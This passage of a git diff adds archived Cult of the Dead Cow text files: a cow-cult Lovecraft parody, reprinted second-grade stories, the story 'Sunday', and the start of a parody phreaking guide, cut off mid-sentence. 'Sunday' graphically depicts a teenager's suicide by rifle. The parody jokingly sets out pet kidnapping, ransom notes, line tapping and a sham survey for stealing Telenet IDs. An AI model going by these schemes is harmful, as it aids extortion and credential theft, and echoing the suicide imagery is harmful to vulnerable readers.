Bob-Sothoth is... or was. Alhazred +began his quest almost a score of years ago and felt that he was close to the +ultimate answer. During his nights with the cows those years past he had heard +their urgent mooings. What did they mean? Were the cows possessed of daemons? +What in the hell was going on? + + As Alhazred continued his bizarre cycle of thought he noticed not the +paved stones peeking up at him from the sand below his sandled feet. Only when +he tripped on a large crack did he notice the fragmented pavement beneath him. +"What?" thought Alhazred. A road in the middle of a vast expanse of desert? +Filled with curiosity Alhazred decided it best to follow the ancient road. +Soon darkness overtook the world and day became night. + + As the moon climbed higher in the sky he began to see that the slopes of +desert began to rise. Urged by an impulse which he could definitely not +analyze, Alhazred scrambled with difficulty up the dunes... Upon reaching the +top of the tremendous circle of dunes he stood silently, gazing into the +stygian depths where no light had yet penetrated. + + All at once his attention was captured by a vast and singular object on +the opposite slope, which rose steeply about a hundred yards ahead of him; an +object that gleamed brightly in the newly bestowed rays of the ascending moon. +He assured himself that it was merely a piece of gigantic stone; but he was +conscious of an instinct impression that its contour and position were not +altogether the work of Nature. A closer scrutiny filled him with sensations +he could not express; for despite its enormous magnitude, and its position in +an abyss which had yawned in the middle of a vast desert since the world was +young, he perceived beyond a doubt that the strange object was a well-shaped +monolith whose massive bulk had known the workmanship and perhaps the worship +of living and thinking creatures. + + Dazed and frightened, yet not without a certain thrill of the scientist's +or archaeologist's delight, Alhazred examined his surroundings more closely. +The moon, now near the zenith, shone vividly above the towering steeps that +hemmed in the chasm revealed that far below rested a great area of flat land. + As he inspected the monolith more closely he noticed that, though eroded by +the billowing sands, it was still identifiable as... a cow. Footholds were +aplenty and Alhazred began the laborious trek downwards into the vast chasm. + + As Alhazred dropped from a low ledge to the base of the chasm he uttered a +slightly audible groan. His feet had hit not sand but wheat. As he regained +his feet he surveyed his surroundings. For hundreds of yards the great field +reared into the distance.. far off he thought that he saw a mass of some sort +but it was dark and he was unsure. He slowly set off towards the mass. +Somewhere off in the distance he thought he heard the frenzied mooings of some +unspeakable Bovine beast, but he convinced himself that it was probably just +the wind. + + When Alhazred was within earshot of the vast mass he did hear the frenzied +mooings of some sort of beast. Shaking with fear he moved closer only because +of fear of what might be lurking around the vast pasture. As he got closer he +saw that the mass was indeed a building, a temple.. broken colonnades paraded +around the temple and strange bas-reliefs covered its face...it was too dark +to clearly make out what the reliefs depicted. Alhazred began to circumvent +the temple looking for some means of egress. Soon he found a rubbled hole in +a wall. The hole poured with a dim light and the smell of greasy smoke. He +crouched down so that he could peer inside. + + Inside he saw a vast chamber filled with a slime-coated liquid that was +obviously water. The chamber was dominated by a Cyclopean monolith, on whose +surface he could now trace both inscriptions and crude sculptures. The +writing was in a system of hieroglyphics unknown to Alhazred, consisting for +the most part of Bovine creatures and the like. Several characters obviously +represented beasts not of the modern world. + + It was the pictorial carving, however, that did most to hold him spell- +bound. Plainly visible across the intervening monolith on account of their +enormous size was an array of bas-reliefs whose subjects would have excited the +envy of a Dore. He thought these things were supposed to depict cows - at +least, a certain sort of cow; though the creatures were shown disporting like +cows in great pastures, or paying homage at some monolithic shrine which +appeared to be in a pasture as well. Of their faces and forms he dared not +speak in detail; for the mere remembrance mad him grow faint. Grotesque beyond +the imagination of a Poe or a Bulwer, they were damnably Bovine in general +outline despite loathsome tentacles, cilia covered with congealed slime, wide +with flabby lips, glassy, bulbous eyes, and other features less pleasant +to recall. Curiously enough they seemed to be chiseled badly out of proportion +with their scenic background. Alhazred decided that they were merely the +imaginary gods of some race lost in the vestiges of time. Awestruck at this +unexpected glimpse into the past, he stood musing whilst the moon cast queer +reflections on the stone walls around him. + + Then he saw it. With only a slight churning to mark its rise to the +surface, the thing slid into view above the dark waters. Vast,polyphemus- +like, and loathsome, it darted like a stupendous monster of nightmares to the +monolith, about which it flung its gigantic scaly tentacles, the while it bowed +its hideously horned head and gave to certain measured mooings. Alhazred went +mad then. + + On his frantic ascent of the cliff and dune slopes, and of his delirious +journey back to Damascus, he remembered little. Alhazred sang a great deal, +and laughed oddly when unable to sing. He had distinct recollections of a +great storm some time after ascending out of the blasted heath in the middle +of the Roba El Kaliyeh; at any rate, he knew that he heard peals of thunder +and other tones which Nature utters only in her wildest moods. + +=============================================================================== + + It was this experience that prompted Abdul Alhazred to scribe the original +Arabic text, AL AZIF, later translated into the BOVINOMICON. This rare work +deals with many complex matters, including the idea that Bovine mooings are +actually the language of daemons from the outer regions of the cosmos. + + "...do you dare imagine things as they can be? As, indeed they will be +when the earth is transformed and the illusion of reality is erased from the +minds of men by the annihilation of those minds? Do you live in hope to see +Great Bob-Sothoth stride the earth? Do you dream of the Throne of Yog-Elsie, +of joining the faithful that mosh there? O, purify yourselves, then, for these +and greater things await you who are members of our terrible order..." + + -- Part of a speech heard outside of a home in a Winston-Salem, NC, suburb + + + "The world is indeed comic, but the joke is on mankind." -- H.P. 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Inside were a collection of +papers I wrote back when I was in second grade. + + It appears to me they were what the teacher considered my best +work in creative writing class. They are all written on tablet paper +and some of them are illustrated. + + What follows are most of the stories. Of course, they have been +edited, I wooden't whant to konfuze u with the orginal mispelings or the +lack of proper grammar, which doesn't appear to be necessary for most +second graders. + + + "It's raining cats and dogs" + + One cold Monday, it started. The streets were frozen. First +came down mothballs, then later cats and dogs. They sneazed their way +from the heaven to earth. The cats scratched people on their faces and +backs. Cats alone killed 109 people. Five people died from shock and the +noise. It really was awful. But I was safe inside. + The End + +Comments: + Acompanying the story was a drawing of a cloud with a dog and +cat inside it. A shirtless man has a frown on his face and his hands +in the air. Another man wearing a green shirt lies on the +ground screaming, "Help..." + + I must have been a very sadistic child for writing a story like +this. I wonder if space on the paper prevented me from writing about what +the dogs did to the people. This really is my favorite story. I wonder +what the teachers reaction was. + + -*- + + If I were a talking toy + + I would be a toy jet space solder, with jets for speed and a toy +laser light. I'd talk really fast and sound funny. You would like me. +I run on batteries, but plug me in and I'd become amazing. You could +control me for machines. + + On Independence day I would fly up and make sparks. I cost +$1,000 and you could borrow me for twenty-five cents. A smaller +version, that did less amazing things would cost $100 and be rented for +ten cents. + + I am a toy robot made to help children. + +Comments: + At the bottom of the page is a drawing of a little blue robot with +arms and wheels saying, "Happy speeding friends!" + + When I was little, I always wanted a set of tin toy soldiers but +my parents would never get me them. I was also fascinated by robots and +lasers. I was, however, lucky enough to have a remote control R2-D2 +robot. I suppose this story was what I must have thought to be the +ultimate toy. + + + -*- + + There's a phantom on my block. + + Tuesday night it happend. My best friend came over to spend the +night. First we told ghost stories, then this big blue thing with a +green tongue hit me. That morning when we woke up there was green +slime. + + Later that day, we went alley hunting. We found some green +slimy foot prints leading up to a cave. We went in and saw the same +blue thing. It had green eyes and said, "Hi, would you like to have +some tea?" + + We answered yes that we would. The thing told us it was from +Mars and that we weren't in a cave, but a spaceship. We asked the +Martian if we could go for a ride. As the ship took off, my friend and +I exclaimed "Zowee!" + + An hour later we landed. We said bye and the Martian apologized +for scaring us earlier. So if you meat a phantom, be friendly. + +Comments: + Drawing is a big blue monster with red hair going all the way +down it's back. Monster has light blue eyes and is holding a steering +wheel. On a pedestal is a Play-Doh looking can that says Lime-Slime. + + The teacher must have really enjoyed this one because the top of +the page has "Good" written on it. I suppose it isn't that bad for 2nd +grade Sci-Fi, I did seem to have something going with the phantom +actually being an alien. + In the story there is a reference to "alley hunting". When I +was six or seven that was my hobby. I would walk around the alley +behind the houses in Lubbock looking for all the cool stuff people had +thrown out. My favorite quote at the time was "One man's trash is +another's treasure." + + I remember being deathly scared of climbing in the dumpsters. I +didn't have the concept that trashmen were on a schedule, so I was +always worried the trash truck would be coming by to take the dumpster. + + -*- + + Monster Night + + One night I was scared. I thought a monster was there. But it + was a tree. + + My Dream + + The big trolls were after me. They were eating everything. We + got them. + + The End + +Comments: + These were on a mimeographed worksheet. I took the liberty of +coloring it. I can remember both being scared by the tree and having +nightmares about trolls. + + -*- + + The Lone Knight of Thunder + + One day a knight took a ride. In the woods were it started to +rain. He saw a with and ran. And then a wind came. The witch and +knight flew a blur. + + They went so fast it made thunder in the sky. The with and +knight blew away in the sky. + +Comments: + I don't really care to much for this story, I just like the +drawing, it shows an orange horse similar to those in Thundar the +Barbarian cartoons, one of my favorites at the time. The knight isn't +even in the picture, for all I know I wrote the story after the picture. + + -*- + + Anyway, that's what I wrote about when I was in second grade. I +really don't know what the average person at that age writes about. I +think the teacher wrote whatever the title was supposed to be and we +took it from there. + + I remember at the end of the school year the teacher told me +that I was the reason all her hair turned gray. I think back then I +actually believed it. About two years ago I saw that same teacher. She +couldn't believe I had grown up. I have absolutly no idea if you +remember what I was like. + + The End + + ( A little 2nd grade humor ) + + +TJH + diff --git a/textfiles.com/groups/CDC/song.of.the.cow b/textfiles.com/groups/CDC/song.of.the.cow new file mode 100644 index 00000000..2ba18bb2 Binary files /dev/null and b/textfiles.com/groups/CDC/song.of.the.cow differ diff --git a/textfiles.com/groups/CDC/sunday b/textfiles.com/groups/CDC/sunday new file mode 100644 index 00000000..3311d948 --- /dev/null +++ b/textfiles.com/groups/CDC/sunday @@ -0,0 +1,310 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Sunday + by Peter Flechette + + >>> a cDc publication.......1990 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + "Ton-EEEEEEE! Are you coming to church or not??" Mom's voice reverb- +erated down the narrow, wood-paneled stairway leading to Tony's basement room. +Tony Lundquist, who had been about to drop the needle, froze. He rolled his +eyes toward the stained ceiling, gave the fist-sized volume knob a hefty crank +clockwise and dropped it. + + "StrangulationmutilationcanceroftheBRAIN! Limbdissectionamputationfrom +amindDERANGED!!" he shouted as the ninety-eight second micro-opera +"Necrophobic" shuddered and buzzed his big black speakers. + + This -he knew- would do the trick, and he was not disappointed as he +faintly heard Mom shout: "When I return, young man, you and I will have a +little talk about MORAL DECAY!" So he'd have to sit through another of her +ever-briefer lectures; big fucking deal. One thing Tony had learned in his +past fourteen years is that the punishment was always a better deal than the +consequences of NOT biting back. Sure, his body had hurt for two weeks after +he stabbed that nun with the compass point. But he sure as hell hadn't been +sent back to that school. Soon after, Dad moved off to Montana and took his +leather belt with him. Unlike Daddy, Mom would never hit him; she would just +chew him out and swallow yet another heaping helping of guilt which would +further distend the Belly of our Savior. Tony thought of a hugely pregnant +Jesus hanging bleeding from the Cross with large, gravid breasts and laughed +loudly over the barbedwirespeedmetal cracking the paint and wondered, for the +ten-thousandth time, if he was going insane. + + Bill Olson had watched Tony's mom leave the house across the street and +walk hurriedly toward church. He quickly grabbed the large dufflebag and +headed down the stairs. Closing his own front door behind him, Bill walked +across the street to Tony's house and ducked into the garage. Arriving at the +side entrance which led indirectly to Tony's room, Bill rapped on the aluminum +screen door twice, then three more times. No answer. Bill cursed under his +breath: "Goddamn your blood, Tony, turn that down and answer the fuckin' door!" +Bill knew that he only had an hour or so before his mother returned from +worship and he had to tell Tony all about the unbelievable "yank film" he had +seen on the PLayboy Channel last night. Mind-boggling juggernauts! Tony was +gonna shit!! A lull in the din faintly assaulting Bill's eardrums manifested +itself and he feverishly repeated the secret knock. + + The cheaply-manufactured hollow-core door swung open to admit Bill. "Hey +buddy, you are gonna SHIT!" he chortled as he scurried into Tony's private +domain. "What's with all the pills, pal?" + + "I dunno," replied Tony, scooping up a few of the spilled aspirin and +pouring them back in the bottle. "I ain't been feeling well." + + "Bullshit! You're trying to get HIGH, Jack! That won't work and don't +try smoking banana peels, either. My brother had a friend who tried that and +he went blind. You can get cyanide poisoning from the fumes of the burning +banana." + + "Bullshit." + + "You're the one who's fulla shit!" + + "It's bullshit." + + "You callin' my brother a liar?!" + + Tony flopped on his unmade bed. "Nah, I just think it's bullshit. +Whatcha got in the bag?" + + Bill brightened. "You ain't gonna BELIEVE what I got in the bag. But +first I gotta tell ya about last night. They went out and forgot to lock the +fuckin' box, man!! I had the Playboy Channel goin' all night!! They had WOMEN +ON SEX which was pretty dumb; some psychologist who looked like a dyke yakkin' +about the G-spot was like, a total myth and how women could only obtain +pleasure through non-sexist-oriented pornography and a buncha stuff. But after +that they had SEXCETERA and there was this great thing on public sex in New +York with this chick in a black leather jacket that was just like flashing guys +on the street and EVERYTHING!" + + "You're shittin' me!" + + "I swear! It was really awesome! She had these whompmonster tits! And +she'd like lick her lips and stuff. The guys on the street were just totally +gassing. And then they had this... oh man, you're not gonna believe this! It +was like in Japan and they had this restaurant where these Japanese guys go to +eat really disgusting stuff so they can get their dicks hard. The cook is just +smiling away and he's chopping on this slimy fish with a big knife. And they +eat all this stuff just so they can get boners! I dunno; maybe the women in +Japan are weird or something. They were drinking wine that had a SNAKE in the +bottle; pickled snake. And they ask this guy what he's eating and he says: RAW +HOG TESTICLE! He's stuffing this gross thing in his mouth and his girlfriend +is just sitting there woofing! It was mind-slicing!!" + + Tony recumbent on his bead, regarded Bill with a gaze normally reserved +for blithering cretins and two-headed dogs. "Oh, yeah sure Billy. Are you +sure it wasn't raw DRAGON testicle? You are so fullashit..." + + "What's your DAMAGE, Tony? I ain't lyin'! And after this weird shit they +showed NEW WAVE HOOKERS with Traci. And she was... great." + + "Yeah?" + + "Yeah." + + "Let's go to the mall." + + "Your mom'll kill ya." + + "Fuck that bitch." + + The dufflebag was opened in a pre-mall ritual; Bill pulling forth a rusted +and scratched single-shot 30-30 deer rifle with a broken stock, salvaged from a +neighborhood dumpster. The two youths discussed whether this sorry-looking +piece would actually fire, Bill displaying a box of cartridges purloined from +his father's hardware store. There didn't seem to be much hope for the old +blunderbuss, so Tony stashed it under his bed and the two shuffled off to the +corner to catch a big red bus. + + Our two young heroes disembarked at Horsedale, the newest and biggest of +the mega-malls which ringed the Minneapolis area like hemorrhoids. The boys +made the proverbial beeline for Power Records, where they knew their buddy Rod +Gumhedd would be working. Rod was a sleazed-out wastrel with a serious lust +for the parent-upsetting louderfasterharder shit that Bill & Tony worshipped. +Rod kept a small stash of elpees with skulls on 'em tucked in a bin across from +the CD racks, and the boys headed straight for it. Bill picked up a copy of +LUKE 66:6 by the Buzzsaw Boners, flipped it over and whistled. "Check this +out, man. 'On your knees for the Buzzsaw Boners: the masters of pure bellig- +erence and destruction. A brutal assault on the senses.'" + + "Oh yeah? Well listen to this: 'The Cruel Bastards rip the fuckin' top +right off yer skull with just one hamfisted powerchord. Must be all those +Stooges, Dolls, Ramones, and Pistols records they eat for breakfast'" read Tony +from the back of NEVER MIND THE HOMOS, HERE'S THE CRUEL BASTARDS. + + "Good stuff, eh boys?" inquired Rod, who wore a doleful face despite his +cheery Charles Manson T-shirt. + + "Yeah!! When you gonna get that album by the Reverb Motherfuckers?" + + "I got some bad news for you guys. I got the axe yesterday and all this +stuff is going back to the warehouse tomorrow. You guys are gonna have to go +to Garage d'Or from now on, 'cause that's where I'll be working. We got a lot +more cool stuff down there, though: The Fiendish Thingies, Raped Elvis, +Duckfuckers Ahoy... real BITCHIN' bands!" + + "Aw shit, Rod, that's a fifty-minute bus ride!" + + Rod shrugged, black leather lapels gyrating. "Hey, guys. All these folks +out here groove on is CD's. If you want any of this wax, you better make with +the scratch like, el mas rapido, because soon it will be gone like spit ona +griddle." Bill and Tony's fallen faces told the story of empty pockets and +blown allowances. + + A creeping, splitting, familiar pain like a nail being slowly driven into +his left eye socket followed Tony out into the mall with Bill (bitching) in +tow. He reached in his jacket pocket for an aspirin and bit down on it. The +chalky bitterness he had come to enjoy flooded his mouth. It tasted of funeral +pyres. + + "I heard that those CD's are all gonna oxidize in about five years; the +lettering on 'em starts to rot and they all go bad. I heard a defective CD +once on the radio and it sounded like Max Headroom on acid!" Tony was deafened +by fantasies of breaking bones, exposed marrow, electrical wires; he barely +heard Bill's incessant chatter as they strode along the mallwalk. It took a +hearty shout from the Queen of Jockstraps, Miss Hut-Hut-Hut herself - Barb +Johnson - to stop the pain-addled teenager in his tracks. + + "Well, if it isn't the Neezer Twins from Biology!" bellowed the six-foot +cornfed blonde teen Brunhilda, hands on hips, flanked by her giggling and +equally loathsome toadie, Cindy Nelson. "Frog Pox! Frog Pox! Saaaaaaaaad!" +It was impossible to ignore or evade these letter-jacketed harpies blocking the +mallwalk like bovine pylons. Bill sneered. Tony stared. Cindy struck a +phonus-balonus cheesecake pose which mocked the sexual frustrations of teenage +boys across the nation and hollered: "Hey neezlehead! Wannna get lucky?" She +walked up to Tony and tweaked his nose, hard, causing involuntary tears to come +to his eyes. The two she-devils walked past in full guffaw as Bill managed to +squeak out some stilted slur rooted in venereal fiction. Tony clung to the +railing, mortified to the core, stomach twisting like a freshly-speared moray +eel, face hot/wet/red. He lurched towards the bathroom. + + Splashing cold water on his head and softly sobbing, Tony pondered just +what in the fuck ELSE could go wrong today. Home meant catching H-E-double-L +from the old witch and tomorrow meant that Goddamn Biology Test. What was the +difference between a zygote and a mitochondria and who gave a flying fuck about +it anyway? He knew, instinctively, that he would NEVER get laid. Not in this +lifetime. "Hey son, you OK? You don't look so good..." opined some concerned +middle-aged bathroom bystander. Tony turned a pair of bleary eyes toward him; +Inner Third Eye pictures the bastard - the piece of FLESH - crushed in Satan's +claw, flesh rent from bone, torn and oozing... what pain Christ must have felt +as they scourged him with that splintering board! + + "FUCK YOU!" screamed Tony, for no reason he could fathom. The citizen's +face darkened. + + "Watch your language or I'll have you thrown out of this mall. You little +shit." Citizen spun on his heel and stalked out of the shitter as a loud bowel +sound split the air inside one of the stalls. Tony whirled to face the stall, +daggers in the eyes, and spied: + + Faded brown corduroys crumpled around brown leather shoes. Brown paper +bag with brown cylinder paper bag perched on top of the contents. Brown +cylinder with screw-top poking out front. Bingo. Thank you, General Molotov. +Tony rushed to the stall and deftly, with the agility of an unjaded cat +burglar, grabbed the bottle out of the shopping bag and hurtled out of the +bathroom with curses from the freshly-robbed spud wishing him an unfond +farewell. + + Tony and Bill spent the next two hours in the Everyburger parking lot +consuming most of a quart of pricey vodka mixed with soda pop, as the sun sank +in a pasty sky. + + Little unsteady steps on the dirty snow brought Tony back to the shitty +little house heated with Mom's alimony checks. He knew she would lock his +side-door from the inside so that he would have to go through the living room +to get in. He reached into his jacket and poured another slug into the system. +Stuff no longer burned like gasoline... more like kerosene. The bottle slipped +from his fingers and impaled a mound of snow. Tony blundered through the front +door and into the acrid haze of Mommy's smoldering Salem Lights. Two in the +ashtray and one in her slit of a mouth. "You stinking little shit. You're +just like your father, that bastard. He talked me out of using the coat +hanger. Should have..." she staggered toward him, "...put a little hole..." +she put out her leathery, sweat-slimed palm, "right in the center... of... +your...forehead!" SLAP! + + As shitfaced as the teenager was, he realized that this mother was in +worse shape. The odor of juniper twigs boiled in rubbing alcohol tickled his +pickled nostrils. He stepped sideways and made it to the stairs, closing the +door behind him and in front of her, twisting the deadbolt. Slipped, grabbed +the rail and rode it all the way down to his room. Unable to find the record; +pulled a bunch of 'em out on the floor and spotted the cast iron fist almost by +default. Motorhead always made 33-and-a-third sound like 120 miles-per-hour +with your face hanging two inches from the asphalt, and that was what Tony +needed at the moment. "The invisible hand in front of me" hummed over the +asphalt and Tony closed his eyes... then JERKED them open as the room began to +spin. What a total fuckup, he thought, can't even manage to pass out +successfully. The huge, powerful monster - blacker than Michael Milken's heart +- grabbed him around the shoulders and bit into the back of his head. Tony +howled in anguish and fear and slid off his bed onto the floor. His hand went +under the bed and came out with Bill's dufflebag attached ot it. + + And the copper-jacketed spire-point cartridge fit precisely into the +single chamber. + + And the point of the broken stock fit precisely in the corner of the room. + + And the crown of the muzzle fit precisely in the center of Tony's +forehead. + +FiringpinslidingdownitsoilyTRACK. + +DentingtheprimerscrapingtheANVIL. + +FierysparksignitingthePOWDER. + +BurninggasesexpandingpushingtheBULLET. + +OutofthecaseanddownthetwistingSPOUT. + +PickingupspeedspirallingoutpasttheCROWN. + +SpirepointstretchingskinandmakingitTAUT. + +ThespireofcopperbreaksthroughandgoesIN. + +FragmentsofmetalshavedbylandsandGROOVES. + +HurledbytherotatingprojectileintotheWOUND. + +BlastofexpandinggassesbetweenskullandSCALP. + +TearsthroughskinleavingthedefectCRUCIATE. + +MinutedbonefragmentsshredtheBRAIN. + +NomorePAIN. + + Mrs. Lundquist poured a tad more Diet Pepsi into the glass to help cut the +taste of the gin and wondered aloud: "What in the FUCK is he listening to +now??" + + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 The People Farm.......916/673-8412 + \ / |PURE NIHILISM..........new # soon Ripco.................312/528-5020 + (' ') |Tequila Willy's GSC..209/526-3194 The Works.............617/861-8976 + (U) |===================================================================== + .ooM |1990 cDc communications by Peter Flechette. 04/03/90-#125 +\_______/|All Rights Pissed Away. + + \ No newline at end of file diff --git a/textfiles.com/groups/CDC/tale.two.sexes b/textfiles.com/groups/CDC/tale.two.sexes new file mode 100644 index 00000000..4cfdf24b Binary files /dev/null and b/textfiles.com/groups/CDC/tale.two.sexes differ diff --git a/textfiles.com/groups/CDC/telenet.thingie b/textfiles.com/groups/CDC/telenet.thingie new file mode 100644 index 00000000..23b48b00 --- /dev/null +++ b/textfiles.com/groups/CDC/telenet.thingie @@ -0,0 +1,378 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / .ooM presents... \ / + (` ') / (` ') + (U) (U) + + THE *ONLY* WAY TO GET TELENET THINGIES + + by Tequila Willy + _______________________________________________________________ + | | + | TEQUILA WILLY'S GREAT SUBTERRANEAN CARNIVAL: <209>/526-3194 | + |_______________________________________________________________| + + Please Note: The idea to compile this ^ + Wow, it highly valuable and useful information | + lines up! ---> into a t-file was conceived by Tequila Glory For + Willy (that's me).. Actually, honestly Me! + (see the pureness of my Bovine being?) + Swamp Rat and I were chatting away and + I thought it might make one wow t-file + so it 'twas written..Well, actually it + was scribed...Hmmm...hard to say...Not <--- Note the + really..I'm just attempting to get the excessive + paragraph here to form a lil' box, and use of + I think I'm doing a good job.. Like I periods... + wanted to say, I just wrote the file.. + but the ideas within (this tfile) were + formed by Swamp Rat and myself. Ta-da. + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- + + +_______________________________________________________________________________ + + (The following file is buffoonery..ya..that is..well, it's a parody ya'll..) +_______________________________________________________________________________ + + 08/15/88 <--]- That's the date! + 2:20 p.m. PDT <--]- That's the exact time! + (sorta..almost..kinda) + + If you're a REAL HACKER (like myself and L.E.) then you not only subscribe +to superior magazines like Hustler and National Geographic, but you also spend +a LOT of time (gobs of time i.e.) jackin--er..I mean, hacking Telenet.. Finding +new nodes to hack, planting viruses, and (of course) getting those radical +TELENET THINGIES... + +<%=-------------------------------------------------------------------------=%> +[ Definition ] + +(Do you like the way I used those brackets and the neato little line with the +groovy little "--=%>" pattern on the end? Ya..I knew you would! I stole that +one from "The Phreaker's Handbook" by Cat-Trax.. You remember, it's the file +that looks AMAZINGLY SIMILAR to great parts of "BIOC Agent 003's course in +BASIC TELECOMMUNICATIONS PART IV".. What the hell..I mean, so what if it's +plagiarism? I mean, if BIOC stole from Cat-Trax.....(Riiiigghhhttttt..[read +that with lots o' sarcasm..])) + + +Well, anyhow, back to the subject..like I was sayin'.. .. + +[ Definition ] + +(All you ELITE!1! people can skip over this part cause' you obviously already +know what I'm talking about, but I gotta stick this part in here for all the +LAMES that are reading this... hupho..) + +*ELITE* people call Telenet thingies "Telenet thingies" so that all the pigs +and narcs won't catch on to the code... But since this is a "tutoring" file +I'll tell you exactly what Telenet thingies are....Just MAKE SURE that no pigs +or narcs get their hands on this file... + +TELENET THINGIES a.k.a. TELENET IDs a.k.a. TELENET NUIs... + +(Shhhhhhhhhhhhhhhhh...!) + +ko...Now that you know what were going to be getting, we can get to the good +stuff... + +[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+] + +[ The Good Stuff ] + +(Notice the groovy little line I used to separate the main ideas?) + +There are many ways to go about acquiring Telenet thingies...I will go over my +favorite methods for you... + +METHOD I: Ransom +--------- ------ + + This is my favorite method..I've acquired at least 100+ IDs..er...TELENET + THINGIES..via this method. Here's whatcha do.... + +4 The first thing you have to do is locate the Telenet office in your + town/city/village.. If you don't know where it's located, simply pull a + CN/A on the number. Once you get the address where your local dial-up(s) +S are located, pay it a visit...(and bring something to write with and +p something to write on).. +a +c Stake out the office from the parking lot.. Wait for an employee to enter +e his/her vehicle and then write down the license plate number (unless you're + elite, then you can just use your photographic memory, but haye', don't + feel bad, we can't ALL be elite..) +M +a Wait around the parking lot some more and get the plate numbers of several +r more employees... After you have 5 or 6+ plate numbers you can do either +g of the following (depending if you're elite or not)... +i +n * The First Way (UNelite): Head on over to the DMV office and get the +! names and addresses of the owners of those + license plates.. This is very simple and easy, + and only costs a very little, tiny, teeny bit + of money.. + + * The Second Way (ELITE): Simply break into the DMV computer and get their + names and numbers for FREE. (Call up Jennifer, + invite her over and when she gets there tell her + to "...turn on the PRINT-er so I can get a + PRINT-out of THIS..." + (Riiiiggghhhhhhhtttttttt.....)) + + Okay, so you got their addresses, now what? Go ahead and test out your + elite hacking skills... Go on, guess where you're going now! + + [ Fill in your guess here: ________________________________ + __________________________________________________________ ] + + Right on! You're going to go home, grab some food out of the fridge, crank + up the stereo, and call up a girlie! + + If you are a lame you obviously won't know any girls so just jack off and + have a stale Twinkie... + + Now that you're done with your leisure time, head on over to one of those + addresses that you have. Once you're there, case the place... If you're + not a pussy then you'll be elite and break-in while they are home...On the + other hand, if you're a gutless sapsucking mongo-hippy dweeb then you'll + want to wait until no one is home before you break-in. + + Breaking in is easy enough to do (I prefer the Santa Claus method of + entry myself), but if you need help I'm sure The Ninja can help you..He's + only written about 10,000+ files to help you be a stud, if you can't find + what you need in there, to help you break into a home, then just skip this + method of getting those Telenet thingies...While you're at it, sell your + computer equipment and buy an Atari 2600..See if you can get some stale + Twinkies at Food 4 Less too. + + Now that all the lames have given up, all you real hackers may proceed + with the rest of this file. You might be lame and ask "Why am I breaking + into this house?" or you might be elite and ask "Y M I brakin' in2 thiz + hauz?/?/" In either case, I'll tell you... You're looking for pets. You + know: cats, dogs, rodents, fish, carpet lice, etc. Once you have found a + pet (which you will presume the owner is emotionally attached to) you will + proceed to take him/her/it home with you. + + Once home you'll want to boot-up your favorite word processor so that you + can write your ransom note (of course the ransom will be those RADICAL + TELENET THINGIES!##@%2135%$!#@%$#@%@$!%$!@^) + + (To ease in simplicity I have included an example of a ransom note that + I often use myself.) + + Example! + ______________________________________ + | | + | I HAVE Y0R CAT!!!11!!! | + | | + | IF U WANT 2 SEE IT A LIVE | + | | + | EFAR AGAIN THEN U WILL GIVE | + | ME YOUR SEKRAT TELENET ID!!!1!!! | + Example! --> | | <-- Example! + | **DO NOT KALL THE | + | | + | POLISE** | + | | + | I WILL KONTAKT U WITHIN 24 | + | | + | HOURZ!!!!1!!!1!!!!1!! | + | | + |______________________________________| + + Example! + + + You might be thinking to yourself that you don't have their phone number. + Then again, you might be elite and know how to get it, but I'll explain + it for the lames reading this.. To get their phone number all you have + to do is build a Beige Box (didja ever notice how 4 million+ fucking lames + decided they to could be elite via plagiarism and therefore SLYLY + "invented" shit like the Bud Box and the Hot Box? I would just + specifically like to say to those guys (specifically the author of the Hot + Box): EAT SHIT AND LIVE!) Like I was saying, you merely build yourself a + BEIGE BOX, find the Bell-Hell box (that grey fucker) attached to the side + of the house and pull an ANI on the line.... + + (Wasn't that...SPECIAL...?) + + Okay, when you call the guy back you gotta be confident, secure, in + control of the situation. To aid you in your quest for Telenet thingies, + I've included sample dialogues of not only the RIGHT way to do things, + but also the WRONG way... + + THE WRONG WAY: + ============== + + (<-- SIMULATED DTMF!) + + VICTIM: "Hello??" + YOU: "Hi, how ya doing today? I'm the one who kidnapped your cat!" + VICTIM: "You say you want my TELENET ID??" + YOU: "uhhh..ya..that's right." + VICTIM: "What's your name?" + YOU: "M.T. Head! Just a sec.." "...My sister has to use + the phone..Could you call me back in about 1/2 hour?" + VICTIM: "Okay.." + YOU: "Here's my number..." + + Okay..okay...bad example..But as you can see, it's ALL WRONG!1!1%$@#%!@%# + dAMIT!1!%!# BE A FUCKIN' TERRORIST!!%$@#%!#@% + + THE RIGHT WAY: + ============== + + (Notice how you reroute your call like all ELITE + hackers do?) + + + + VICTIM: "Hello?" + YOU: "Yo!--Bitch, I got your fucking cat! " + VICTIM: "Yiiiiieeeeeee! Issheokay?huhhuhishe?" + YOU: "If you ever want to see this cat alive again, you'll give me your + Telenet thingie right now!" + VICTIM: "Telenet thingie? You mean ID?" + YOU: "Shhhhhhh....! yayaya.." + + + Obviously, by this time your victim will be so frightened that you'll + have no problems getting the Telenet thingie out of them... If you're + not a pussy you'll kill whatever animal you caught and send it back to + them--STUFFED! + +METHOD II: Survey +---------- ------ + + Do the same thing as you would in the ransom method to obtain their + name and address, but instead of kidnapping animals you merely pretend + to take a survey.. The trick to this method is that you have to be sly + in your questions.. + + (To aid you in your quest I have included a questionnaire that I have + used before to successfully obtain telenet thingies.) + + [FOR BEST RESULTS DO NOT MIX THE ORDER OF THESE QUESTIONS!] + + + Introduction: + + "Hi, my name is Indianian Jones, and I'm conducting a survey + for a sociology project. I'd like to know if you'd + participate by answering a few questions?" + + + + (After they agree, proceed with the following questions...) + + "1. Do you prefer a penis with length or girth? + 2. Do you enjoy chewing gum? + 3. What's your favorite color? + 4. What is your Telenet ID and password? + 5. Do you think communism will prevail?" + + (Notice how SLYLY you obtained information to logon 